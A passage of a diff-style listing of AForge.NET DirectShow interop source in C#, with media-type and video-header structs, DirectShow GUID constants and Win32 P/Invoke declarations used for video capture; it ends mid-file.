~AMMediaType()
|
||||
{
|
||||
Dispose(false);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dispose the object.
|
||||
/// </summary>
|
||||
///
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
// remove me from the Finalization queue
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dispose the object
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="disposing">Indicates if disposing was initiated manually.</param>
|
||||
///
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (FormatSize != 0 && FormatPtr != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeCoTaskMem(FormatPtr);
|
||||
FormatSize = 0;
|
||||
}
|
||||
|
||||
if (unkPtr != IntPtr.Zero)
|
||||
{
|
||||
Marshal.Release(unkPtr);
|
||||
unkPtr = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// PIN_INFO
|
||||
|
||||
/// <summary>
|
||||
/// The structure contains information about a pin.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode)]
|
||||
internal struct PinInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Owning filter.
|
||||
/// </summary>
|
||||
public IBaseFilter Filter;
|
||||
|
||||
/// <summary>
|
||||
/// Direction of the pin.
|
||||
/// </summary>
|
||||
public PinDirection Direction;
|
||||
|
||||
/// <summary>
|
||||
/// Name of the pin.
|
||||
/// </summary>
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||||
public string Name;
|
||||
}
|
||||
|
||||
// FILTER_INFO
|
||||
[ComVisible(false)]
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode)]
|
||||
internal struct FilterInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Filter's name.
|
||||
/// </summary>
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||||
public string Name;
|
||||
|
||||
/// <summary>
|
||||
/// Owning graph.
|
||||
/// </summary>
|
||||
public IFilterGraph FilterGraph;
|
||||
}
|
||||
|
||||
// VIDEOINFOHEADER
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the bitmap and color information for a video image.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct VideoInfoHeader
|
||||
{
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the source video window.
|
||||
/// </summary>
|
||||
public RECT SrcRect;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the destination video window.
|
||||
/// </summary>
|
||||
public RECT TargetRect;
|
||||
|
||||
/// <summary>
|
||||
/// Approximate data rate of the video stream, in bits per second.
|
||||
/// </summary>
|
||||
public int BitRate;
|
||||
|
||||
/// <summary>
|
||||
/// Data error rate, in bit errors per second.
|
||||
/// </summary>
|
||||
public int BitErrorRate;
|
||||
|
||||
/// <summary>
|
||||
/// The desired average display time of the video frames, in 100-nanosecond units.
|
||||
/// </summary>
|
||||
public long AverageTimePerFrame;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
|
||||
/// </summary>
|
||||
public BitmapInfoHeader BmiHeader;
|
||||
}
|
||||
|
||||
// VIDEOINFOHEADER2
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the bitmap and color information for a video image (v2).
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct VideoInfoHeader2
|
||||
{
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the source video window.
|
||||
/// </summary>
|
||||
public RECT SrcRect;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the destination video window.
|
||||
/// </summary>
|
||||
public RECT TargetRect;
|
||||
|
||||
/// <summary>
|
||||
/// Approximate data rate of the video stream, in bits per second.
|
||||
/// </summary>
|
||||
public int BitRate;
|
||||
|
||||
/// <summary>
|
||||
/// Data error rate, in bit errors per second.
|
||||
/// </summary>
|
||||
public int BitErrorRate;
|
||||
|
||||
/// <summary>
|
||||
/// The desired average display time of the video frames, in 100-nanosecond units.
|
||||
/// </summary>
|
||||
public long AverageTimePerFrame;
|
||||
|
||||
/// <summary>
|
||||
/// Flags that specify how the video is interlaced.
|
||||
/// </summary>
|
||||
public int InterlaceFlags;
|
||||
|
||||
/// <summary>
|
||||
/// Flag set to indicate that the duplication of the stream should be restricted.
|
||||
/// </summary>
|
||||
public int CopyProtectFlags;
|
||||
|
||||
/// <summary>
|
||||
/// The X dimension of picture aspect ratio.
|
||||
/// </summary>
|
||||
public int PictAspectRatioX;
|
||||
|
||||
/// <summary>
|
||||
/// The Y dimension of picture aspect ratio.
|
||||
/// </summary>
|
||||
public int PictAspectRatioY;
|
||||
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
public int Reserved1;
|
||||
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
public int Reserved2;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
|
||||
/// </summary>
|
||||
public BitmapInfoHeader BmiHeader;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB).
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 2)]
|
||||
internal struct BitmapInfoHeader
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the number of bytes required by the structure.
|
||||
/// </summary>
|
||||
public int Size;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the width of the bitmap.
|
||||
/// </summary>
|
||||
public int Width;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the height of the bitmap, in pixels.
|
||||
/// </summary>
|
||||
public int Height;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of planes for the target device. This value must be set to 1.
|
||||
/// </summary>
|
||||
public short Planes;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of bits per pixel.
|
||||
/// </summary>
|
||||
public short BitCount;
|
||||
|
||||
/// <summary>
|
||||
/// If the bitmap is compressed, this member is a <b>FOURCC</b> the specifies the compression.
|
||||
/// </summary>
|
||||
public int Compression;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the size, in bytes, of the image.
|
||||
/// </summary>
|
||||
public int ImageSize;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.
|
||||
/// </summary>
|
||||
public int XPelsPerMeter;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.
|
||||
/// </summary>
|
||||
public int YPelsPerMeter;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of color indices in the color table that are actually used by the bitmap.
|
||||
/// </summary>
|
||||
public int ColorsUsed;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of color indices that are considered important for displaying the bitmap.
|
||||
/// </summary>
|
||||
public int ColorsImportant;
|
||||
}
|
||||
|
||||
// RECT
|
||||
|
||||
/// <summary>
|
||||
/// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct RECT
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the x-coordinate of the upper-left corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Left;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the y-coordinate of the upper-left corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Top;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the x-coordinate of the lower-right corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Right;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the y-coordinate of the lower-right corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
// CAUUID
|
||||
|
||||
/// <summary>
|
||||
/// The CAUUID structure is a Counted Array of UUID or GUID types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct CAUUID
|
||||
{
|
||||
/// <summary>
|
||||
/// Size of the array pointed to by <b>pElems</b>.
|
||||
/// </summary>
|
||||
public int cElems;
|
||||
|
||||
/// <summary>
|
||||
/// Pointer to an array of UUID values, each of which specifies UUID.
|
||||
/// </summary>
|
||||
public IntPtr pElems;
|
||||
|
||||
/// <summary>
|
||||
/// Performs manual marshaling of <b>pElems</b> to retrieve an array of Guid objects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>A managed representation of <b>pElems</b>.</returns>
|
||||
///
|
||||
public Guid[] ToGuidArray()
|
||||
{
|
||||
var retval = new Guid[cElems];
|
||||
|
||||
for (var i = 0; i < cElems; i++)
|
||||
{
|
||||
var ptr = new IntPtr(pElems.ToInt64() + i * Marshal.SizeOf(typeof(Guid)));
|
||||
retval[i] = (Guid) Marshal.PtrToStructure(ptr, typeof(Guid));
|
||||
}
|
||||
|
||||
return retval;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Enumeration of DirectShow event codes.
|
||||
/// </summary>
|
||||
internal enum DsEvCode
|
||||
{
|
||||
None,
|
||||
Complete = 0x01, // EC_COMPLETE
|
||||
|
||||
DeviceLost = 0x1F // EC_DEVICE_LOST
|
||||
//(...) not yet interested in other events
|
||||
}
|
||||
|
||||
[Flags]
|
||||
[ComVisible(false)]
|
||||
internal enum AnalogVideoStandard
|
||||
{
|
||||
None = 0x00000000, // This is a digital sensor
|
||||
NTSC_M = 0x00000001, // 75 IRE Setup
|
||||
NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup
|
||||
NTSC_433 = 0x00000004,
|
||||
PAL_B = 0x00000010,
|
||||
PAL_D = 0x00000020,
|
||||
PAL_G = 0x00000040,
|
||||
PAL_H = 0x00000080,
|
||||
PAL_I = 0x00000100,
|
||||
PAL_M = 0x00000200,
|
||||
PAL_N = 0x00000400,
|
||||
PAL_60 = 0x00000800,
|
||||
SECAM_B = 0x00001000,
|
||||
SECAM_D = 0x00002000,
|
||||
SECAM_G = 0x00004000,
|
||||
SECAM_H = 0x00008000,
|
||||
SECAM_K = 0x00010000,
|
||||
SECAM_K1 = 0x00020000,
|
||||
SECAM_L = 0x00040000,
|
||||
SECAM_L1 = 0x00080000,
|
||||
PAL_N_COMBO = 0x00100000 // Argentina
|
||||
}
|
||||
|
||||
[Flags]
|
||||
[ComVisible(false)]
|
||||
internal enum VideoControlFlags
|
||||
{
|
||||
FlipHorizontal = 0x0001,
|
||||
FlipVertical = 0x0002,
|
||||
ExternalTriggerEnable = 0x0004,
|
||||
Trigger = 0x0008
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
[ComVisible(false)]
|
||||
internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS
|
||||
{
|
||||
public Guid Guid;
|
||||
public AnalogVideoStandard VideoStandard;
|
||||
public Size InputSize;
|
||||
public Size MinCroppingSize;
|
||||
public Size MaxCroppingSize;
|
||||
public int CropGranularityX;
|
||||
public int CropGranularityY;
|
||||
public int CropAlignX;
|
||||
public int CropAlignY;
|
||||
public Size MinOutputSize;
|
||||
public Size MaxOutputSize;
|
||||
public int OutputGranularityX;
|
||||
public int OutputGranularityY;
|
||||
public int StretchTapsX;
|
||||
public int StretchTapsY;
|
||||
public int ShrinkTapsX;
|
||||
public int ShrinkTapsY;
|
||||
public long MinFrameInterval;
|
||||
public long MaxFrameInterval;
|
||||
public int MinBitsPerSecond;
|
||||
public int MaxBitsPerSecond;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a filter's state or the state of the filter graph.
|
||||
/// </summary>
|
||||
internal enum FilterState
|
||||
{
|
||||
/// <summary>
|
||||
/// Stopped. The filter is not processing data.
|
||||
/// </summary>
|
||||
State_Stopped,
|
||||
|
||||
/// <summary>
|
||||
/// Paused. The filter is processing data, but not rendering it.
|
||||
/// </summary>
|
||||
State_Paused,
|
||||
|
||||
/// <summary>
|
||||
/// Running. The filter is processing and rendering data.
|
||||
/// </summary>
|
||||
State_Running
|
||||
}
|
||||
}
|
|
@ -0,0 +1,299 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright ?AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// DirectShow class IDs.
|
||||
/// </summary>
|
||||
[ComVisible(false)]
|
||||
internal static class Clsid
|
||||
{
|
||||
/// <summary>
|
||||
/// System device enumerator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_SystemDeviceEnum.</remarks>
|
||||
///
|
||||
public static readonly Guid SystemDeviceEnum =
|
||||
new Guid(0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86);
|
||||
|
||||
/// <summary>
|
||||
/// Filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_FilterGraph.</remarks>
|
||||
///
|
||||
public static readonly Guid FilterGraph =
|
||||
new Guid(0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// Sample grabber.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_SampleGrabber.</remarks>
|
||||
///
|
||||
public static readonly Guid SampleGrabber =
|
||||
new Guid(0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37);
|
||||
|
||||
/// <summary>
|
||||
/// Capture graph builder.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_CaptureGraphBuilder2.</remarks>
|
||||
///
|
||||
public static readonly Guid CaptureGraphBuilder2 =
|
||||
new Guid(0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5);
|
||||
|
||||
/// <summary>
|
||||
/// Async reader.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AsyncReader.</remarks>
|
||||
///
|
||||
public static readonly Guid AsyncReader =
|
||||
new Guid(0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow format types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
internal static class FormatType
|
||||
{
|
||||
/// <summary>
|
||||
/// VideoInfo.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to FORMAT_VideoInfo.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInfo =
|
||||
new Guid(0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A);
|
||||
|
||||
/// <summary>
|
||||
/// VideoInfo2.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to FORMAT_VideoInfo2.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInfo2 =
|
||||
new Guid(0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow media types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
internal static class MediaType
|
||||
{
|
||||
/// <summary>
|
||||
/// Video.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Video.</remarks>
|
||||
///
|
||||
public static readonly Guid Video =
|
||||
new Guid(0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71);
|
||||
|
||||
/// <summary>
|
||||
/// Interleaved. Used by Digital Video (DV).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Interleaved.</remarks>
|
||||
///
|
||||
public static readonly Guid Interleaved =
|
||||
new Guid(0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71);
|
||||
|
||||
/// <summary>
|
||||
/// Audio.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Audio.</remarks>
|
||||
///
|
||||
public static readonly Guid Audio =
|
||||
new Guid(0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71);
|
||||
|
||||
/// <summary>
|
||||
/// Text.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Text.</remarks>
|
||||
///
|
||||
public static readonly Guid Text =
|
||||
new Guid(0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71);
|
||||
|
||||
/// <summary>
|
||||
/// Byte stream with no time stamps.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Stream.</remarks>
|
||||
///
|
||||
public static readonly Guid Stream =
|
||||
new Guid(0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow media subtypes.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
internal static class MediaSubType
|
||||
{
|
||||
/// <summary>
|
||||
/// YUY2 (packed 4:2:2).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_YUYV.</remarks>
|
||||
///
|
||||
public static readonly Guid YUYV =
|
||||
new Guid(0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71);
|
||||
|
||||
/// <summary>
|
||||
/// IYUV.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_IYUV.</remarks>
|
||||
///
|
||||
public static readonly Guid IYUV =
|
||||
new Guid(0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71);
|
||||
|
||||
/// <summary>
|
||||
/// A DV encoding format. (FOURCC 'DVSD')
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_DVSD.</remarks>
|
||||
///
|
||||
public static readonly Guid DVSD =
|
||||
new Guid(0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71);
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 1 bit per pixel (bpp), palettized.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB1.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB1 =
|
||||
new Guid(0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 4 bpp, palettized.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB4.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB4 =
|
||||
new Guid(0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 8 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB8.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB8 =
|
||||
new Guid(0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// RGB 565, 16 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB565.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB565 =
|
||||
new Guid(0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// RGB 555, 16 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB555.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB555 =
|
||||
new Guid(0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 24 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB24.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB24 =
|
||||
new Guid(0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 32 bpp, no alpha channel.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB32.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB32 =
|
||||
new Guid(0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// Data from AVI file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_Avi.</remarks>
|
||||
///
|
||||
public static readonly Guid Avi =
|
||||
new Guid(0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70);
|
||||
|
||||
/// <summary>
|
||||
/// Advanced Streaming Format (ASF).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_Asf.</remarks>
|
||||
///
|
||||
public static readonly Guid Asf =
|
||||
new Guid(0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow pin categories.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
internal static class PinCategory
|
||||
{
|
||||
/// <summary>
|
||||
/// Capture pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to PIN_CATEGORY_CAPTURE.</remarks>
|
||||
///
|
||||
public static readonly Guid Capture =
|
||||
new Guid(0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA);
|
||||
|
||||
/// <summary>
|
||||
/// Still image pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to PIN_CATEGORY_STILL.</remarks>
|
||||
///
|
||||
public static readonly Guid StillImage =
|
||||
new Guid(0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA);
|
||||
}
|
||||
|
||||
// Below GUIDs are used by ICaptureGraphBuilder::FindInterface().
|
||||
[ComVisible(false)]
|
||||
internal static class FindDirection
|
||||
{
|
||||
/// <summary>Equals to LOOK_UPSTREAM_ONLY.</summary>
|
||||
public static readonly Guid UpstreamOnly =
|
||||
new Guid(0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5);
|
||||
|
||||
/// <summary>Equals to LOOK_DOWNSTREAM_ONLY.</summary>
|
||||
public static readonly Guid DownstreamOnly =
|
||||
new Guid(0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,102 @@
|
|||
// AForge Video for Windows Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright ?AForge.NET, 2007-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// Some Win32 API used internally.
|
||||
/// </summary>
|
||||
///
|
||||
internal static class Win32
|
||||
{
|
||||
/// <summary>
|
||||
/// Supplies a pointer to an implementation of <b>IBindCtx</b> (a bind context object).
|
||||
/// This object stores information about a particular moniker-binding operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="reserved">Reserved for future use; must be zero.</param>
|
||||
/// <param name="ppbc">Address of <b>IBindCtx*</b> pointer variable that receives the
|
||||
/// interface pointer to the new bind context object.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport("ole32.dll")]
|
||||
public static extern
|
||||
int CreateBindCtx(int reserved, out IBindCtx ppbc);
|
||||
|
||||
/// <summary>
|
||||
/// Converts a string into a moniker that identifies the object named by the string.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pbc">Pointer to the IBindCtx interface on the bind context object to be used in this binding operation.</param>
|
||||
/// <param name="szUserName">Pointer to a zero-terminated wide character string containing the display name to be parsed. </param>
|
||||
/// <param name="pchEaten">Pointer to the number of characters of szUserName that were consumed.</param>
|
||||
/// <param name="ppmk">Address of <b>IMoniker*</b> pointer variable that receives the interface pointer
|
||||
/// to the moniker that was built from <b>szUserName</b>.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport("ole32.dll", CharSet = CharSet.Unicode)]
|
||||
public static extern
|
||||
int MkParseDisplayName(IBindCtx pbc, string szUserName,
|
||||
ref int pchEaten, out IMoniker ppmk);
|
||||
|
||||
/// <summary>
|
||||
/// Copy a block of memory.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="dst">Destination pointer.</param>
|
||||
/// <param name="src">Source pointer.</param>
|
||||
/// <param name="count">Memory block's length to copy.</param>
|
||||
///
|
||||
/// <returns>Return's the value of <b>dst</b> - pointer to destination.</returns>
|
||||
///
|
||||
[DllImport("ntdll.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcpy(
|
||||
byte* dst,
|
||||
byte* src,
|
||||
int count);
|
||||
|
||||
/// <summary>
|
||||
/// Invokes a new property frame, that is, a property sheet dialog box.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hwndOwner">Parent window of property sheet dialog box.</param>
|
||||
/// <param name="x">Horizontal position for dialog box.</param>
|
||||
/// <param name="y">Vertical position for dialog box.</param>
|
||||
/// <param name="caption">Dialog box caption.</param>
|
||||
/// <param name="cObjects">Number of object pointers in <b>ppUnk</b>.</param>
|
||||
/// <param name="ppUnk">Pointer to the objects for property sheet.</param>
|
||||
/// <param name="cPages">Number of property pages in <b>lpPageClsID</b>.</param>
|
||||
/// <param name="lpPageClsID">Array of CLSIDs for each property page.</param>
|
||||
/// <param name="lcid">Locale identifier for property sheet locale.</param>
|
||||
/// <param name="dwReserved">Reserved.</param>
|
||||
/// <param name="lpvReserved">Reserved.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport("oleaut32.dll")]
|
||||
public static extern int OleCreatePropertyFrame(
|
||||
IntPtr hwndOwner,
|
||||
int x,
|
||||
int y,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string caption,
|
||||
int cObjects,
|
||||
[MarshalAs(UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown)]
|
||||
ref object ppUnk,
|
||||
int cPages,
|
||||
IntPtr lpPageClsID,
|
||||
int lcid,
|
||||
int dwReserved,
|
||||
IntPtr lpvReserved);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,147 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the physical type of pin (audio or video).
|
||||
/// </summary>
|
||||
public enum PhysicalConnectorType
|
||||
{
|
||||
/// <summary>
|
||||
/// Default value of connection type. Physically it does not exist, but just either to specify that
|
||||
/// connection type should not be changed (input) or was not determined (output).
|
||||
/// </summary>
|
||||
Default = 0,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a tuner pin for video.
|
||||
/// </summary>
|
||||
VideoTuner = 1,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a composite pin for video.
|
||||
/// </summary>
|
||||
VideoComposite,
|
||||
|
||||
/// <summary>
|
